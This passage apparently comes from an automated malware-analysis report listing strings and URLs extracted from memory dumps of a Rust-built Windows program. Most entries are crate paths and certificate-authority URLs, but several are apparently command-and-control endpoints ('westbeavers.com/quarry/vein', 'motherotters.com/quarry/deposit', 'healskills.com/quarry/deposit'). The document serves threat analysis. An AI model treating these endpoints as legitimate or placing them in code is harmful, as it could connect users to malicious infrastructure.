Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\webbrowser-1.2.1\src\windows.rs" Heuristic match: "a display implementation returned an error unexpectedly/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\string.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\weezl-0.1.12\src\decode.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\weezl-0.1.12\src\lib.rs" Heuristic match: "fc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\windows-core-0.62.2\src\imp\marshaler.rs" Heuristic match: "object has been over-released.c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\windows-core-0.62.2\src\imp\ref_count.rs" Heuristic match: "allocation failedc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\windows-registry-0.6.1\src\data.rs" Heuristic match: "errorcodec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\drop_handler.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sync\once.rs" Heuristic match: "internal error: entered unreachable rode/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\thread_local\native\lazy.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\thread\local.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\event_loop\runner.rs" Heuristic match: "found an incomplete pending message when collecting messages. this indicates a bug in winit.c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\keyboard.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\icon.rs" Heuristic match: "winit thread event targetc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\dpi.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\num\f64.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\util.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\window_state.rs" Heuristic match: "istry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\keyboard_layout.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\monitor.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\unicode-segmentation-1.13.2\src\grapheme.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\sync.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\char\methods.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\winit-0.30.13\src\platform_impl\windows\window.rs" Heuristic match: "fromutf8errorbyteserrorutf8errorvalid_up_toerror_lennonesomedest is out of boundsc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\yazi-0.2.1\src\decode.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\slice\index.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zeno-0.3.3\src\segment.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zeno-0.3.3\src\stroke.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\worker.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\color_convert\scalar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\upsampler\avx2.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\huffman.rs" Heuristic match: "mid > lenchunk size must be non-zero/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\slice\iter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\misc.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\color_convert\avx.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\idct\avx2.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\idct\scalar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\upsampler\scalar.rs" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtx" Heuristic match: "estbeavers.com" Heuristic match: "beavers.com" Heuristic match: "westbeavers.comvers.com" Heuristic match: "no urls providedls.com" Pattern match: "https://westbeavers.com/quarry/vein" Pattern match: "https://westbeavers.com/quarry/deposit" Pattern match: "https://motherotters.com/quarry/deposit" Pattern match: "https://healskills.com/quarry/deposit" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20tls%20e" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d" Heuristic match: "ntrust.net" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Heuristic match: "ers.com" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Heuristic match: "ft.cn" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Heuristic match: "host: westbeavers.com" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Heuristic match: "quartzlinestbeavers.com" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "l.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "https://fs.microsoft.com/fs/windows/config.json" Pattern match: "https://fs.microsoft.com/fs/windows/config.json,config,0"3a:T9e89,Found URL "https://antialiasingcolor_depthhttps://motherottersstandalonehbuffer_sizeqnpvxzgjyusltrehkstandaloneridgelinewestbeavers.comvers.comsubstrateformationaftermathrefresh_snap_to_gridundo_levtab_widthhealskillstext/plainrrefresh_gnrmdpi_scalewestbeaverssubstratesw-renderqnpvxzgjpuundo_levelsline_spacingtokio-rtpvrefresh_rateokio-rt-workercolor_deridgelinestriationstandaloneline_spano" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "https://westbeavers.com/quarry/veinhttps://westbeavers.com/quarry/veinws\fonts\ariblk.ttfhttps://westbeavers.com/quarry/veinc2fe0eb4-f8aa-49b0-97e1-1c53a6386d02c2fe0eb4-f8aa-49b0-97e1-1c53a6386d02reqwest-" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "https://westbeavers.com/quarry/depositeqwest-internal-sync-runtimemapping" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "https://motherotters.com/quarry/depositanalyzing" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "https://healskills.com/quarry/deposit6d02processing" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0globalsign" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20tls%20epages" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d" - Source: "00000000-00005912.00000000.201121.FE960000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "https://_instancedartifactmschemaslinttstable@7vqv36felsitecinderligniteharnessupdatecompositaobsidian" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czco!yj2:l*" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "https://@8dd*/" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l250905032048z0/^g(o-cejy" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.8]crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07iy()>@6t+a6" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.2.840.10045.3.1.5ecdp1.2.840.10045.3.1.3ecdpfp'p@9t\" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d" - Source: "00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp") Found URL "https://antialiasingcolor_depthhttps://motherottersstandalonehbuffer_sizeqnpvxzgjyusltrehkstandaloneridgelinewestbeavers.comvers.comsubstrateformationaftermathrefresh_snap_to_gridundo_levtab_widthhealskillstext/plainrrefresh_gnrmdpi_scalewestbeaverssubstratesw-renderqnpvxzgjpuundo_levelsline_spacingtokio-rtpvrefresh_rateokio-rt-workercolor_deridgelinestriationstandaloneline_spano" - Source: "00000000-00005912.00000001.203043.FE960000.00000004.mdmp") Found URL "https://westbeavers.com/quarry/veinhttps://westbeavers.com/quarry/veinws\fonts\ariblk.ttfhttps://westbeavers.com/quarry/veinc2fe0eb4-f8aa-49b0-97e1-1c53a6386d02c2fe0eb4-f8aa-49b0-97e1-1c53a6386d02reqwest-" - Source: "00000000-00005912.00000001.203043.FE960000.00000004.mdmp") Found URL "https://westbeavers.com/quarry/depositeqwest-internal-sync-runtimemapping" - Source: "00000000-00005912.00000001.203043.FE960000.00000004.mdmp") Found URL "https://motherotters.com/quarry/depositanalyzing" - Source: "00000000-00005912.00000001.203043.FE960000.00000004.mdmp") Found URL "https://healskills.com/quarry/deposit6d02processing" - Source: "00000000-00005912.00000001.203043.FE960000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0globalsign" - Source: "00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20tls%20epages" - Source: "00000000-00005912.00000001.203043.FE9E5000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d" - Source: "00000000-00005912.00000001.203043.FE9E5000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "https://_instancedartifactmschemaslinttstable@7vqv36felsitecinderligniteharnessupdatecompositaobsidian" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czco!yj2:l*" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "https://@8dd*/" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l250905032048z0/^g(o-cejy" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.8]crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07iy()>@6t+a6" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.2.840.10045.3.1.5ecdp1.2.840.10045.3.1.3ecdpfp'p@9t\" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d" - Source: "00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp") Found URL "https://antialiasingcolor_depthhttps://motherottersstandalonehbuffer_sizeqnpvxzgjyusltrehkstandaloneridgelinewestbeavers.comvers.comsubstrateformationaftermathrefresh_snap_to_gridundo_levtab_widthhealskillstext/plainrrefresh_gnrmdpi_scalewestbeaverssubstratesw-renderqnpvxzgjpuundo_levelsline_spacingtokio-rtpvrefresh_rateokio-rt-workercolor_deridgelinestriationstandaloneline_spano" - Source: "00000000-00005912.00000002.204961.FE960000.00000004.mdmp") Found URL 